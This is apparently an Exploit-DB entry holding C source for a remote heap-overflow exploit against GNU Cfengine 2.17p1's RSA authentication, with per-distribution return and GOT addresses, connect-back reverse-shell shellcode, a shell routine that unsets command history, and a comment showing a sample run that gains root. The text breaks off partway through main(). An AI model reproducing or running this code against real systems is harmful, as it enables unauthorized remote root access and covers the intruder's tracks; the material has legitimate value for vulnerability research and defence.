Exploit-DB #831
Description: GNU Cfengine 2.17p1 - RSA Authentication Heap Overflow
Type: remote
Platform: linux
Date: 2005-02-20
Author: jsk

Exploit:
/* removed line 54 /str0ke */

/*           _ ________            _____                        ______
*
* cfengine rsa heap remote exploit  part of PTjob project / \  / "fuck mm"
* by jsk:exworm(http://exworm.hostrocket.com)            \/
* bug found by core
* yep ta mei dayong ..hehe..so pub it..
* my home: www.ph4nt0m.org
* GT: emm.oyxin.seal.ava.haggis.b_root.more..
* No girl No money  No jop...
* bash-2.05b# ./cf_0day -t 1 -h 192.168.31.23
* cfengine rsa heap remote exploit ....s
* --------------------------------------------------(need money.to..fk..girl..)
* [+] lisntener...
* [+] Connected, sending code...
* [+] Ret: 0x0819f03e
* [+] Got: 0x0811a590
* [+] ownedbyOseen!
* -----------------------------------------------------------
* Linux ns2.autson.com 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10
*(wheel)
*
*
*/

#include <stdio.h>
#include <stdarg.h>
#include <stdlib.h>
#include <netdb.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <getopt.h>
#include <unistd.h>
#include <string.h>
#include <arpa/inet.h>
#include <errno.h>
#include <linux/sockios.h>

#define BUF 1024

struct {
       char *distro;
       char *type;
       unsigned long ret;
       unsigned long got;

} targets[] = { /*got is free of rsafree() ,get it by yourself to own more machine ;) */
       { "Redhat 7.3 ", "cfengine 2.1.7p1  ",0x0819f03e , 0x0811a590 },
       { "Redhat  7.2  ", "cfengine 2.17p1 ", 0x080d1c78, 0x0806d0e3 },
       { "Redhat 7.1     ", "cfengine 2.17p1", 0x080d11e0, 0x082bc090 },
       { "Crash          ", "(All platforms)  ", 0x42424242, 0x41414141 },
};
char linux_connect_back[] =  /* connect back 45295 */
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
       "\x06\x51\xb1\x01\x51\xb1\x02\x51"
       "\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
       "\x89\xc2\x31\xc0\x31\xc9\x51\x51"
       "\x68\x41\x42\x43\x44\x66\x68\xb0"
       "\xef\xb1\x02\x66\x51\x89\xe7\xb3"
       "\x10\x53\x57\x52\x89\xe1\xb3\x03"
       "\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
       "\x74\x06\x31\xc0\xb0\x01\xcd\x80"
       "\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
       "\x31\xc0\xb0\x3f\x89\xd3\xb1\x01"
       "\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
       "\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
       "\x50\x68\x6e\x2f\x73\x68\x68\x2f"
       "\x2f\x62\x69\x89\xe3\x50\x53\x89"
       "\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
       "\x01\xcd\x80";
int sock;
void usage();
void shell();

void
usage(char *prog)
{

        fprintf(stderr,"Usage: %s -t [-pah]\n",prog);
       fprintf(stderr,"-t version       Linux version.\n");
       fprintf(stderr,"-h target       The host to attack.\n");
        fprintf(stderr,"-a password     Default password is \"sorry no password. \".\n");
       fprintf(stderr,"-p port         Default port is 5803.\n\n");
}

int
openhost(char *host,int port)
{
       struct sockaddr_in addr;
       struct hostent *he;

       he=gethostbyname(host);

       if (he==NULL) return -1;
       sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
       if (sock==-1) return -1;

       memcpy(&addr.sin_addr, he->h_addr, he->h_length);

       addr.sin_family=AF_INET;
       addr.sin_port=htons(port);

       if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1)
       sock=-1;
       return sock;
}

void
shell(int sock)
{
       fd_set  fd_read;
       char buff[1024], *cmd="unset HISTFILE; /bin/uname -a;/usr/bin/id; echo '*** oseen are chinese...'\n";
       int n;

       FD_ZERO(&fd_read);
       FD_SET(sock, &fd_read);
       FD_SET(0, &fd_read);

       send(sock, cmd, strlen(cmd), 0);

       while(1) {
               FD_SET(sock, &fd_read);
               FD_SET(0,    &fd_read);

               if (select(sock+1, &fd_read, NULL, NULL, NULL) < 0) break;

               if (FD_ISSET(sock, &fd_read)) {
                       if ((n = recv(sock, buff, sizeof(buff), 0)) < 0){
                               fprintf(stderr, "[+] EOF\n");
                               exit(2);
                       }

                       if (write(1, buff, n) <0) break;
               }

               if (FD_ISSET(0, &fd_read)) {
                       if ((n = read(0, buff, sizeof(buff))) < 0){
                               fprintf(stderr,"[+] EOF\n");
                               exit(2);
                       }

                       if (send(sock, buff, n, 0) < 0) break;
               }
       }

       fprintf(stderr,"[+] Connection lost.\n\n");
       exit(0);
}

unsigned char
*get_my_ip_addr(int sockfd, struct ifreq *ifr)
{
       struct sockaddr_in sin;
       char *b = (char *) malloc(4);

       if (ioctl(sockfd ,SIOCGIFADDR,ifr) < 0) {
               fprintf(stderr, "Unable to get the local IP Address, use -d.\n");
               exit(1);
       }

       memcpy(&sin, &ifr->ifr_addr, sizeof(struct sockaddr_in));
       memcpy(b, (char *) &sin.sin_addr.s_addr, 4);
       return b;
}

int
main (int argc,char *argv[])
{
       char buf1[512];
       char buf2[512];
       char host[256];
       char pass[256]="changeme";
       char data;

       int  type= 0;
       int c=0;
       int port=8001;
       char device[256] = "eth0";
       unsigned char *ptr;

       struct hostent *hp;
       struct sockaddr_in sin_listener;
       struct ifreq ifr;
       struct timeval timeout;

       fd_set fdread;

       int delay       = 12;
       int i           = 0;
       int mode        = 0;
       int local_port  = 0;
       int opt         = 0;
       int ret         = 0;
       int sin_len     = sizeof (struct sockaddr_in);
       int sock        = 0;
       int sock2       = 0;
       int sockd       = 0;